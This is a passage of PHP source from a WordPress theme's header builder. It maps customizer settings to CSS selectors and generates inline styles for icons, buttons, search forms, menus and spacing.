			'border-style' => '.penci-builder-elements.pcheader-icon.compare-icon > a',
		),

		'penci_header_pb_cart_icon_section_item_count_txt' => array(
			'color' => '.pb-header-builder.cart-icon .top-search-classes a.cart-contents > span, .pb-header-builder.cart-icon .top-search-classes.shoping-cart-icon > span',
		),
		'penci_header_pb_cart_icon_section_item_count_bg'  => array(
			'background-color' => '.pb-header-builder.cart-icon .top-search-classes a.cart-contents > span, .pb-header-builder.cart-icon .top-search-classes.shoping-cart-icon > span',
		),

		'penci_header_pb_compare_icon_section_item_count_txt' => array(
			'color' => '.penci-builder-elements.pcheader-icon.compare-icon > a > span',
		),
		'penci_header_pb_compare_icon_section_item_count_bg'  => array(
			'background-color' => '.penci-builder-elements.pcheader-icon.compare-icon > a > span',
		),

		'penci_header_pb_wishlist_icon_section_item_count_txt' => array(
			'color' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a > span',
		),
		'penci_header_pb_wishlist_icon_section_item_count_bg'  => array(
			'background-color' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a > span',
		),

		'penci_header_pb_wishlist_icon_section_bg_color'  => array(
			'background-color' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
		),
		'penci_header_pb_wishlist_icon_section_bgh_color' => array(
			'background-color' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a:hover',
		),
		'penci_header_pb_wishlist_icon_section_bd_color'  => array(
			'border-color' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
		),
		'penci_header_pb_wishlist_icon_section_bdh_color' => array(
			'border-color' => '.penci-builder-elements.pcheader-icon.wishlist-icon > a:hover',
		),

		// cart
		'penci_header_pb_compare_icon_section_color'      => '.penci-builder-elements.pcheader-icon.compare-icon > a',
		'penci_header_pb_compare_icon_section_hv_color'   => '.penci-builder-elements.pcheader-icon.compare-icon > a:hover',
		'penci_header_pb_wishlist_icon_section_color'     => '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
		'penci_header_pb_wishlist_icon_section_hv_color'  => '.penci-builder-elements.pcheader-icon.wishlist-icon > a:hover',
		'penci_header_pb_cart_icon_section_color'         => '.pb-header-builder.cart-icon .top-search-classes a.cart-contents',
		'penci_header_pb_cart_icon_section_hv_color'      => '.pb-header-builder.cart-icon .top-search-classes a.cart-contents:hover',

		'penci_header_pb_cart_icon_section_bcolor'    => array(
			'border-color' => '.pb-header-builder.cart-icon',
		),
		'penci_header_pb_cart_icon_section_bhcolor'   => array(
			'border-color' => '.pb-header-builder.cart-icon:hover',
		),
		'penci_header_pb_cart_icon_section_bgcolor'   => array(
			'background-color' => '.pb-header-builder.cart-icon',
		),
		'penci_header_pb_cart_icon_section_bghcolor'  => array(
			'background-color' => '.pb-header-builder.cart-icon:hover',
		),
		'penci_header_pb_cart_icon_section_btnbstyle' => array(
			'border-style' => '.pb-header-builder.cart-icon',
		),

		// button font size
		'penci_header_pb_button_txt_size'             => array(
			'font-size' => '.penci-builder-button.button-1',
		),
		'penci_header_pb_button_2_txt_size'           => array(
			'font-size' => '.penci-builder-button.button-2',
		),
		'penci_header_pb_button_3_txt_size'           => array(
			'font-size' => '.penci-builder-button.button-3',
		),
		'penci_header_pb_button_mobile_txt_size'      => array(
			'font-size' => '.penci-builder-button.button-mobile-1',
		),
		'penci_header_pb_button_mobile_2_txt_size'    => array(
			'font-size' => '.penci-builder-button.button-mobile-2',
		),

		'penci_header_pb_login_register_size'     => array(
			'font-size' => '.pc-header-element.penci-topbar-social .pclogin-item a i',
		),
		'penci_header_pb_login_register_txt_size' => array(
			'font-size' => '.pc-header-element.penci-topbar-social .pclogin-item a',
		),

		'penci_header_pb_login_register_mobile_size'        => array(
			'font-size' => '.pc-header-element.penci-topbar-social-mobile .pclogin-item a i',
		),
		'penci_header_pb_login_register_mobile_txt_size'    => array(
			'font-size' => '.pc-header-element.penci-topbar-social-mobile .pclogin-item a',
		),

		// sidebar mobile menu
		'penci_header_pb_dropdown_menu_penci_menu_color'    => '.pc-builder-menu.pc-dropdown-menu .menu li a',
		'penci_header_pb_dropdown_menu_penci_menu_hv_color' => '.pc-builder-menu.pc-dropdown-menu .menu li a:hover,.pc-builder-menu.pc-dropdown-menu .menu > li.current_page_item > a',

		// button
		'penci_header_pb_bookmark_font_w'                   => array( 'font-weight' => '.penci-header-bookmark-element a' ),
		'penci_header_pb_bookmark_font_s'                   => array( 'font-style' => '.penci-header-bookmark-element a' ),
		'penci_header_pb_bookmark_font'                     => array( 'font-family' => '.penci-header-bookmark-element a' ),
		'penci_header_pb_button_font'                       => array(
			'font-family' => '.penci-builder.penci-builder-button.button-1',
		),
		'penci_header_pb_button_font_w'                     => array(
			'font-weight' => '.penci-builder.penci-builder-button.button-1',
		),
		'penci_header_pb_button_font_s'                     => array(
			'font-style' => '.penci-builder.penci-builder-button.button-1',
		),
		'penci_header_pb_button_2_font'                     => array(
			'font-family' => '.penci-builder.penci-builder-button.button-2',
		),
		'penci_header_pb_button_2_font_w'                   => array(
			'font-weight' => '.penci-builder.penci-builder-button.button-2',
		),
		'penci_header_pb_button_2_font_s'                   => array(
			'font-style' => '.penci-builder.penci-builder-button.button-2',
		),
		'penci_header_pb_button_3_font'                     => array(
			'font-family' => '.penci-builder.penci-builder-button.button-3',
		),
		'penci_header_pb_button_3_font_w'                   => array(
			'font-weight' => '.penci-builder.penci-builder-button.button-3',
		),
		'penci_header_pb_button_3_font_s'                   => array(
			'font-style' => '.penci-builder.penci-builder-button.button-3',
		),
		'penci_header_pb_button_mobile_font'                => array(
			'font-family' => '.penci-builder.penci-builder-button.button-mobile-1',
		),
		'penci_header_pb_button_mobile_font_w'              => array(
			'font-weight' => '.penci-builder.penci-builder-button.button-mobile-1',
		),
		'penci_header_pb_button_mobile_font_s'              => array(
			'font-style' => '.penci-builder.penci-builder-button.button-mobile-1',
		),
		'penci_header_pb_button_mobile_2_font'              => array(
			'font-family' => '.penci-builder.penci-builder-button.button-mobile-2',
		),
		'penci_header_pb_button_mobile_2_font_w'            => array(
			'font-weight' => '.penci-builder.penci-builder-button.button-mobile-2',
		),
		'penci_header_pb_button_mobile_2_font_s'            => array(
			'font-style' => '.penci-builder.penci-builder-button.button-mobile-2',
		),
		'penci_header_search_icon_size'                     => array(
			'font-size' => '.pc-builder-element.penci-top-search a i',
		),
		'penci_header_pb_data_time_format_size'             => array(
			'font-size' => '.penci-builder-element.penci-data-time-format',
		),

		'penci_header_topblock_content_custom_width'            => array(
			'width'     => '.penci-desktop-topblock .container.container-custom',
			'--pcctain' => '.penci-desktop-topblock .container.container-custom',
		),
		'penci_header_topbar_content_custom_width'              => array(
			'width'     => '.penci-desktop-topbar .container.container-custom',
			'--pcctain' => '.penci-desktop-topbar .container.container-custom',
		),
		'penci_header_midbar_content_custom_width'              => array(
			'width'     => '.penci-desktop-midbar .container.container-custom',
			'--pcctain' => '.penci-desktop-midbar .container.container-custom',
		),
		'penci_header_bottombar_content_custom_width'           => array(
			'width'     => '.penci-desktop-bottombar .container.container-custom',
			'--pcctain' => '.penci-desktop-bottombar .container.container-custom',
		),
		'penci_header_bottomblock_content_custom_width'         => array(
			'width'     => '.penci-desktop-bottomblock .container.container-custom',
			'--pcctain' => '.penci-desktop-bottomblock .container.container-custom',
		),
		'penci_header_wrap_custom_width'                        => array(
			'width'     => '.penci-header-builder.main-builder-header.container.container-custom',
			'--pcctain' => '.penci-header-builder.main-builder-header.container.container-custom',
		),
		'penci_header_wrap_lr_spc'                              => array(
			'margin-left'  => '.pchb-boxed-layout .penci_nav_row',
			'margin-right' => '.pchb-boxed-layout .penci_nav_row',
		),
		'penci_header_pb_social_icon_section_icon_w'            => array(
			'--pchb-socialw' => '.pc-wrapbuilder-header',
		),
		'penci_header_sticky_border_color'                      => array(
			'border-color' => '.penci_builder_sticky_header_desktop',
		),
		'penci_header_sticky_border_style'                      => array(
			'border-style' => '.penci_builder_sticky_header_desktop',
		),
		'penci_header_sticky_top_content_custom_width'          => array(
			'width' => '.penci-desktop-sticky-top .container.container-custom',
		),
		'penci_header_sticky_mid_content_custom_width'          => array(
			'width' => '.penci-desktop-sticky-mid .container.container-custom',
		),
		'penci_header_sticky_bottom_content_custom_width'       => array(
			'width' => '.penci-desktop-sticky-bottom .container.container-custom',
		),
		'penci_header_desktop_sticky_wrap_custom_width'         => array(
			'max-width' => '.penci_builder_sticky_header_desktop.container.container-custom',
		),
		'penci_header_desktop_sticky_lr_spc'                    => array(
			'margin-left'  => '.pchb-boxed-layout.penci_builder_sticky_header_desktop .penci_nav_row',
			'margin-right' => '.pchb-boxed-layout.penci_builder_sticky_header_desktop .penci_nav_row',
		),

		// news ticker
		'penci_header_pb_news_ticker_color'                     => array(
			'color' => '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title',
		),
		'penci_header_pb_news_ticker_hv_color'                  => array(
			'color' => '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title:hover',
		),
		'penci_header_pb_news_ticker_arr_color'                 => array(
			'color' => '.penci-builder-element.penci-topbar-trending .penci-trending-nav a',
		),
		'penci_header_pb_news_ticker_arr_hv_color'              => array(
			'color' => '.penci-builder-element.penci-topbar-trending .penci-trending-nav a:hover',
		),
		'penci_header_pb_news_ticker_headline_color'            => array(
			'color' => '.penci-builder-element.penci-topbar-trending .headline-title',
		),
		'penci_header_pb_news_ticker_headline_bg_style3'        => array(
			'border-right-color' => '.penci-builder-element.penci-topbar-trending .headline-title.nticker-style-3::after',
		),
		'penci_header_pb_news_ticker_headline_bg'               => array(
			'background-color'    => '.penci-builder-element.penci-topbar-trending .headline-title',
			'border-bottom-color' => '.penci-builder-element.penci-topbar-trending .headline-title.nticker-style-4:after',
			'border-left-color'   => '.penci-builder-element.penci-topbar-trending .headline-title.nticker-style-2:after',
		),
		'penci_header_pb_news_ticker_width'                     => array(
			'max-width' => '.penci-builder-element.penci-topbar-trending',
		),
		'penci_header_pb_news_ticker_fs'                        => array(
			'font-size' => '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title',
		),
		'penci_header_pb_news_ticker_fw'                        => array(
			'font-weight' => '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title',
		),
		'penci_header_pb_news_ticker_arr_fs'                    => array(
			'font-size' => '.penci-builder-element.penci-topbar-trending .penci-trending-nav a',
		),
		'penci_header_pb_news_ticker_headline_fs'               => array(
			'font-size' => '.penci-builder-element.penci-topbar-trending .headline-title',
		),
		'penci_header_pb_news_ticker_font'                      => array(
			'font-family' => '.penci-builder-element.penci-topbar-trending a.penci-topbar-post-title,.penci-builder-element.penci-topbar-trending .headline-title',
		),
		'penci_header_pb_dropdown_menu_penci_menu_border_color' => array(
			'border-color' => '.penci-menu-hbg.penci-builder-mobile-sidebar-nav .menu li,.penci-menu-hbg.penci-builder-mobile-sidebar-nav ul.sub-menu',
		),
		'penci_header_pb_hamburger_menu_size'                   => array(
			'--pcbd-menuhbg-size' => '.penci-menuhbg-toggle.builder',
		),
		'penci_header_pb_search_form_txt_color'                 => array(
			'--pcs-d-txt-cl' => '.penci-builder-element.pc-search-form-desktop',
		),
		'penci_header_pb_search_form_sidebar_txt_color'         => array(
			'--pcs-s-txt-cl' => '.penci-builder-element.pc-search-form-sidebar',
		),
		'penci_header_border_color'                             => array(
			'border-color' => '.penci_header.main-builder-header',
		),
		'penci_header_border_style'                             => array(
			'border-style' => '.penci_header.main-builder-header',
		),
		'penci_header_pb_mobile_menu_btnbstyle'                 => array(
			'border-style' => '.navigation.mobile-menu',
		),
		'penci_header_pb_mobile_menu_bcolor'                    => array(
			'border-color' => '.navigation.mobile-menu',
		),
		'penci_header_pb_mobile_menu_bhcolor'                   => array(
			'border-color' => '.navigation.mobile-menu:hover',
		),
		'penci_header_pb_mobile_menu_bgcolor'                   => array(
			'background-color' => '.navigation.mobile-menu',
		),
		'penci_header_pb_mobile_menu_bghcolor'                  => array(
			'background-color' => '.navigation.mobile-menu:hover',
		),
		'penci_header_pb_mobile_menu_color'                     => array(
			'color' => '.navigation .button-menu-mobile',
			'fill'  => '.navigation .button-menu-mobile svg',
		),
		'penci_header_pb_mobile_menu_hv_color'                  => array(
			'color' => '.navigation .button-menu-mobile:hover',
			'fill'  => '.navigation .button-menu-mobile:hover svg',
		),
		'penci_header_search_border_color'                      => array(
			'border-bottom-color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search:before',
			'border-top-color'    => '.header-search-style-showup .pc-wrapbuilder-header .show-search',
		),
		'penci_header_search_bg_color'                          => array(
			'background-color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search',
		),
		'penci_header_search_input_border_color'                => array(
			'border-color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
		),
		'penci_header_search_input_bg_color'                    => array(
			'background-color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
		),
		'penci_header_search_input_color'                       => array(
			'--pchd-sinput-txt' => '.pc-wrapbuilder-header',
			'color'             => '.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
		),
		'penci_header_search_o_bdcolor'                         => array(
			'border-color' => '.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform .pc-searchform-inner',
		),
		'penci_header_search_button_bg_color'                   => array(
			'background-color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit',
		),
		'penci_header_search_button_bg_hcolor'                  => array(
			'background-color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit:hover',
		),
		'penci_header_search_button_color'                      => array(
			'color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit',
		),
		'penci_header_search_button_hcolor'                     => array(
			'color' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit:hover',
		),
		'penci_header_search_o_bgcolor'                         => array(
			'background-color' => '.header-search-style-overlay .penci-header-builder .show-search',
		),
		'penci_header_search_o_closecolor'                      => array(
			'color' => '.header-search-style-overlay .penci-header-builder .show-search a.close-search',
		),
		'penci_header_search_input_size'                        => array(
			'font-size' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input,.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input',
		),
		'penci_header_search_btn_size'                          => array(
			'font-size' => '.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform .searchsubmit',
		),
		'penci_header_builder_pb_html_color'                    => array(
			'color' => '.penci-builder-element.penci-html-ads-1',
		),
		'penci_header_builder_pb_html_link_color'               => array(
			'color' => '.penci-builder-element.penci-html-ads-1 a',
		),
		'penci_header_builder_pb_html_fsize'                    => array(
			'font-size' => '.penci-builder-element.penci-html-ads-1,.penci-builder-element.penci-html-ads-1 *',
		),
		'penci_header_builder_pb_html_2_color'                  => array(
			'color' => '.penci-builder-element.penci-html-ads-2',
		),
		'penci_header_builder_pb_html_2_link_color'             => array(
			'color' => '.penci-builder-element.penci-html-ads-2 a',
		),
		'penci_header_builder_pb_html_2_fsize'                  => array(
			'font-size' => '.penci-builder-element.penci-html-ads-2,.penci-builder-element.penci-html-ads-2 *',
		),
		'penci_header_builder_pb_html_3_color'                  => array(
			'color' => '.penci-builder-element.penci-html-ads-3',
		),
		'penci_header_builder_pb_html_3_link_color'             => array(
			'color' => '.penci-builder-element.penci-html-ads-3 a',
		),
		'penci_header_builder_pb_html_3_fsize'                  => array(
			'font-size' => '.penci-builder-element.penci-html-ads-3,.penci-builder-element.penci-html-ads-3 *',
		),
		'penci_header_builder_pb_html_mobile_color'             => array(
			'color' => '.penci-builder-element.penci-html-ads-mobile',
		),
		'penci_header_builder_pb_html_mobile_link_color'        => array(
			'color' => '.penci-builder-element.penci-html-ads-mobile a',
		),
		'penci_header_builder_pb_html_mobile_fsize'             => array(
			'font-size' => '.penci-builder-element.penci-html-ads-mobile,.penci-builder-element.penci-html-ads-mobile *',
		),
		'penci_header_builder_pb_html_mobile_2_color'           => array(
			'color' => '.penci-builder-element.penci-html-ads-mobile-2',
		),
		'penci_header_builder_pb_html_mobile_2_link_color'      => array(
			'color' => '.penci-builder-element.penci-html-ads-mobile-2 a',
		),
		'penci_header_builder_pb_html_mobile_2_fsize'           => array(
			'font-size' => '.penci-builder-element.penci-html-ads-mobile-2,.penci-builder-element.penci-html-ads-mobile-2 *',
		),
		'penci_header_pb_search_form_input_size'                => array(
			'font-size' => '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_btn_size'                  => array(
			'font-size' => '.pc-search-form-desktop.search-style-default i,
							.pc-search-form-desktop.search-style-icon-button .searchsubmit:before,
							.pc-search-form-desktop.search-style-text-button .searchsubmit',
		),
		'penci_header_pb_search_form_sidebar_input_size'        => array(
			'font-size' => '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input',
		),
		'penci_header_pb_search_form_sidebar_btn_size'          => array(
			'font-size' => '.pc-search-form-sidebar.search-style-default i,
							.pc-search-form-sidebar.search-style-icon-button .searchsubmit:before,
							.pc-search-form-sidebar.search-style-text-button .searchsubmit',
		),

		// Bookmark Button
		'penci_header_pb_bookmark_txt_color'                    => array(
			'color' => '.penci-builder-element.top-search-classes a',
		),
		'penci_header_pb_bookmark_txt_hv_color'                 => array(
			'color' => '.penci-builder-element.top-search-classes a:hover',
		),
		'penci_header_pb_bookmark_txt_size'                     => array(
			'font-size' => '.penci-builder-element.top-search-classes a',
		),

		// darkmode button
		'penci_header_pb_darkmode_bgcolor'                      => array(
			'--pcdm_btnbg' => 'body .pc-dmswitcher-element',
		),
		'penci_header_pb_darkmode_d_color'                      => array(
			'--pcdm_btnd' => 'body .pc-dmswitcher-element',
		),
		'penci_header_pb_darkmode_d_bgcolor'                    => array(
			'--pcdm_btndbg' => 'body .pc-dmswitcher-element',
		),
		'penci_header_pb_darkmode_n_color'                      => array(
			'--pcdm_btnn' => 'body .pc-dmswitcher-element',
		),
		'penci_header_pb_darkmode_n_bgcolor'                    => array(
			'--pcdm_btnnbg' => 'body .pc-dmswitcher-element',
		),
	);

	foreach ( $color_css as $value => $selector ) {
		$control_value = penci_builder_validate_mod( $header_data, $value );
		$prefix        = '';
		if ( is_array( $selector ) && ! empty( $control_value ) ) {
			foreach ( $selector as $prop => $subselect ) {

				if ( $prop == 'font-family' ) {
					$control_value = penci_builder_get_font_data( $control_value );
				}

				$prefix = is_numeric( $control_value ) && $prop !== 'font-weight' ? 'px' : '';
				$out    .= $subselect . '{' . $prop . ':' . $control_value . $prefix . '}';
			}
		} elseif ( ! empty( $control_value ) ) {
			$out .= $selector . '{color:' . $control_value . $prefix . '}';
		}
	}

	$search_form_color = penci_builder_validate_mod( $header_data,'penci_header_search_input_color' );
	if ( $search_form_color ) {
		$out .= '.header-search-style-overlay .pc-wrapbuilder-header .show-search form.pc-searchform ::placeholder{color:' . $search_form_color . '}';
	}

	$search_form_height = penci_builder_validate_mod( $header_data,'penci_header_pb_search_form_height' );
	if ( ! empty( $search_form_height ) ) {
		$out .= '.penci-builder-element.pc-search-form-desktop,.penci-builder-element.pc-search-form-desktop.search-style-icon-button .search-input,.penci-builder-element.pc-search-form-desktop.search-style-text-button .search-input{';
		$out .= 'line-height:' . ( $search_form_height - 2 ) . 'px';
		$out .= '}';

		$out .= '.penci-builder-element.pc-search-form-desktop.search-style-default .search-input{';
		$out .= 'line-height:' . ( $search_form_height - 2 ) . 'px;padding-top:0;padding-bottom:0';
		$out .= '}';
	}

	$search_form_sidebar_height = penci_builder_validate_mod( $header_data,'penci_header_pb_search_form_sidebar_height' );
	if ( ! empty( $search_form_sidebar_height ) ) {
		$out .= '.penci-builder-element.pc-search-form.pc-search-form-sidebar,.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .search-input,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .search-input{';
		$out .= 'line-height:' . ( $search_form_sidebar_height - 2 ) . 'px';
		$out .= '}';

		$out .= '.penci-builder-element.pc-search-form-sidebar.search-style-default .search-input{';
		$out .= 'line-height:' . ( $search_form_sidebar_height - 2 ) . 'px;padding-top:0;padding-bottom:0';
		$out .= '}';
	}

	// search
	$search_form_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_search_form_width' );
	if ( ! empty( $search_form_width ) ) {
		$out .= '.penci-builder-element.pc-search-form-desktop,.penci-builder-element.pc-search-form-desktop.search-style-icon-button .search-input,.penci-builder-element.pc-search-form-desktop.search-style-text-button .search-input{';
		$out .= 'max-width:' . $search_form_width . 'px;';
		$out .= '}';
	}

	$search_form_sidebar_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_search_form_sidebar_width' );
	if ( ! empty( $search_form_sidebar_width ) ) {
		$out .= '.penci-builder-element.pc-search-form.pc-search-form-sidebar,.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .search-input,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .search-input{';
		$out .= 'max-width:' . $search_form_sidebar_width . 'px;';
		$out .= '}';
	}

	// mobile logo
	$logo_mobile_spacing = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_mobile_spacing' );
	$out                 .= '.pc-builder-element.pc-logo.pb-logo-mobile{';
	$out                 .= penci_builder_spacing_extract_data( $logo_mobile_spacing );
	$out                 .= '}';

	// social icon line height
	$social_icon_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_section_icon_h' );
	$social_icon_style  = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_section_icon_style' );

	if ( ! empty( $social_icon_height ) ) {
		$social_line_height = $social_icon_height;
		if ( 'simple' != $social_icon_style ) {
			$social_line_height = $social_icon_height - 2;
		}
		$out .= '.penci-builder-element.header-social.desktop-social a i,.penci-builder-element.header-social.desktop-social .penci-social-simple a i{line-height:' . $social_line_height . 'px;}';
	}

	// social icon mobile height
	$social_mobile_icon_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_mobile_section_icon_h' );
	$social_mobile_icon_style  = penci_builder_validate_mod( $header_data, 'penci_header_pb_social_icon_mobile_section_icon_style' );

	if ( ! empty( $social_mobile_icon_height ) ) {
		$social_mobile_line_height = $social_mobile_icon_height;
		if ( 'simple' != $social_mobile_icon_style ) {
			$social_mobile_line_height = $social_mobile_icon_height - 2;
		}
		$out .= '.penci-builder-element.header-social.mobile-social a i,.penci-builder-element.header-social.mobile-social .penci-social-simple a i{line-height:' . $social_mobile_line_height . 'px;}';
	}

	// font for login text
	$out        .= '.pc-header-element.penci-topbar-social .pclogin-item a{';
	$login_font = penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_penci_font_login_text' );
	if ( ! empty( $login_font ) ) {
		$out .= 'font-family:' . penci_builder_get_font_data( $login_font ) . ';';
	}
	$login_uppercase = penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_text_uppercase' );
	if ( 'enable' == $login_uppercase ) {
		$out .= 'text-transform:uppercase;';
	}
	$login_weight = penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_penci_fontw_login_text' );
	if ( ! empty( $login_weight ) ) {
		$out .= 'font-weight:' . $login_weight . ';';
	}
	$out .= '}';

	// font for mobile login text
	$out        .= '.pc-header-element.penci-topbar-social-mobile .pclogin-item a{';
	$login_font = penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_mobile_penci_font_login_text' );
	if ( ! empty( $login_font ) ) {
		$out .= 'font-family:' . penci_builder_get_font_data( $login_font ) . ';';
	}
	$login_uppercase = penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_mobile_text_uppercase' );
	if ( 'enable' == $login_uppercase ) {
		$out .= 'text-transform:uppercase;';
	}
	$login_weight = penci_builder_validate_mod( $header_data, 'penci_header_pb_login_register_mobile_penci_fontw_login_text' );
	if ( ! empty( $login_weight ) ) {
		$out .= 'font-weight:' . $login_weight . ';';
	}
	$out .= '}';

	$out .= 'body.penci-header-preview-layout .wrapper-boxed{min-height:1500px}';

	return $out . $return;
}

function penci_builder_get_font_data( $setting ) {
	if ( ! $setting ) {
		return false;
	}
	$font_data = str_replace( '"', '', $setting );
	$font_data = explode( ', ', $font_data );

	$out = '';
	if ( isset( $font_data[0] ) ) {
		$out .= "'" . $font_data[0] . "'";
	}
	if ( isset( $font_data[2] ) ) {
		$out .= ', ' . $font_data[2];
	}

	return $out;
}

function penci_builder_get_area_css( $header_data, $area, $cssprefix = '', $optionprefix = '', $customselect = '' ) {
	if ( ! empty( $customselect ) ) {
		$out = $customselect . '{';
	} else {
		$out = '.penci_header_overlap .penci-' . $cssprefix . '-' . $area . ',.penci-' . $cssprefix . '-' . $area . '{';
	}
	$out                   .= 'border-width:0;';
	$background_img        = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_background_img' );
	$background_color      = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_background_color' );
	$background_scolor     = 'mobile' == $cssprefix ? penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_sticky_background_color' ) : '';
	$background_repeat     = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_background_repeat' );
	$background_position   = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_background_position' );
	$background_size       = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_background_size' );
	$background_attachment = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_background_attachment' );
	$background_spacing    = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_spacing_setting' );
	$background_border     = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_border_setting' );
	$border_style          = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_border_style_setting' );
	$background_text_color = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_text_color_setting' );
	$background_maxheight  = penci_builder_validate_mod( $header_data, 'penci_' . $optionprefix . '_' . $area . '_maxheight_setting' );

	if ( ! empty( $background_img ) ) {
		$out .= 'background-image:url(' . esc_url( $background_img ) . ');';
	}

	if ( ! empty( $background_color ) ) {
		$out .= 'background-color:' . esc_attr( $background_color ) . ';';
	}

	if ( ! empty( $background_repeat ) ) {
		$out .= 'background-repeat:' . esc_attr( $background_repeat ) . ';';
	}

	if ( ! empty( $background_position ) ) {
		$out .= 'background-position:' . esc_attr( $background_position ) . ';';
	}
	if ( ! empty( $background_size ) ) {
		$out .= 'background-size:' . esc_attr( $background_size ) . ';';
	}
	if ( ! empty( $background_attachment ) ) {
		$out .= 'background-attachment:' . esc_attr( $background_attachment ) . ';';
	}
	if ( ! empty( $background_border ) ) {
		$out .= 'border-color:' . esc_attr( $background_border ) . ';';
	}
	if ( ! empty( $border_style ) ) {
		$out .= 'border-style:' . esc_attr( $border_style ) . ';';
	}
	if ( ! empty( $background_text_color ) ) {
		$out .= 'color:' . esc_attr( $background_text_color ) . ';';
	}
	if ( ! empty( $background_maxheight ) ) {
		$out .= 'max-height:' . esc_attr( $background_maxheight ) . ';';
	}
	if ( ! empty( $background_spacing ) ) {
		$out .= penci_builder_spacing_extract_data( $background_spacing );
	}

	$out .= '}';

	if ( 'mobile' == $cssprefix && $background_scolor ) {
		$out .= '.penci_header_overlap.mobile-sticky .penci-' . $cssprefix . '-' . $area . '{';
		$out .= 'background-color:' . esc_attr( $background_scolor ) . ';';
		$out .= '}';
	}

	return $out;
}

function penci_builder_spacing_extract_data( $number = '', $out = '' ) {
	$mpb = explode( ',', $number );
	if ( isset( $mpb[0] ) && is_numeric( $mpb[0] ) ) {
		$out .= 'margin-top:' . esc_attr( $mpb[0] ) . 'px;';
	}
	if ( isset( $mpb[1] ) && is_numeric( $mpb[1] ) ) {
		$out .= 'margin-right:' . esc_attr( $mpb[1] ) . 'px;';
	}
	if ( isset( $mpb[2] ) && is_numeric( $mpb[2] ) ) {
		$out .= 'margin-bottom:' . esc_attr( $mpb[2] ) . 'px;';
	}
	if ( isset( $mpb[3] ) && is_numeric( $mpb[3] ) ) {
		$out .= 'margin-left:' . esc_attr( $mpb[3] ) . 'px;';
	}

	if ( isset( $mpb[4] ) && is_numeric( $mpb[4] ) ) {
		$out .= 'padding-top:' . esc_attr( $mpb[4] ) . 'px;';
	}
	if ( isset( $mpb[5] ) && is_numeric( $mpb[5] ) ) {
		$out .= 'padding-right:' . esc_attr( $mpb[5] ) . 'px;';
	}
	if ( isset( $mpb[6] ) && is_numeric( $mpb[6] ) ) {
		$out .= 'padding-bottom:' . esc_attr( $mpb[6] ) . 'px;';
	}
	if ( isset( $mpb[7] ) && is_numeric( $mpb[7] ) ) {
		$out .= 'padding-left:' . esc_attr( $mpb[7] ) . 'px;';
	}

	if ( isset( $mpb[8] ) && is_numeric( $mpb[8] ) ) {
		$out .= 'border-top-width:' . esc_attr( $mpb[8] ) . 'px;';
	}
	if ( isset( $mpb[9] ) && is_numeric( $mpb[9] ) ) {
		$out .= 'border-right-width:' . esc_attr( $mpb[9] ) . 'px;';
	}
	if ( isset( $mpb[10] ) && is_numeric( $mpb[10] ) ) {
		$out .= 'border-bottom-width:' . esc_attr( $mpb[10] ) . 'px;';
	}
	if ( isset( $mpb[11] ) && is_numeric( $mpb[11] ) ) {
		$out .= 'border-left-width:' . esc_attr( $mpb[11] ) . 'px;';
	}

	if ( isset( $mpb[12] ) && is_numeric( $mpb[12] ) ) {
		$out .= 'border-top-left-radius:' . esc_attr( $mpb[12] ) . 'px;';
	}
	if ( isset( $mpb[13] ) && is_numeric( $mpb[13] ) ) {
		$out .= 'border-top-right-radius:' . esc_attr( $mpb[13] ) . 'px;';
	}
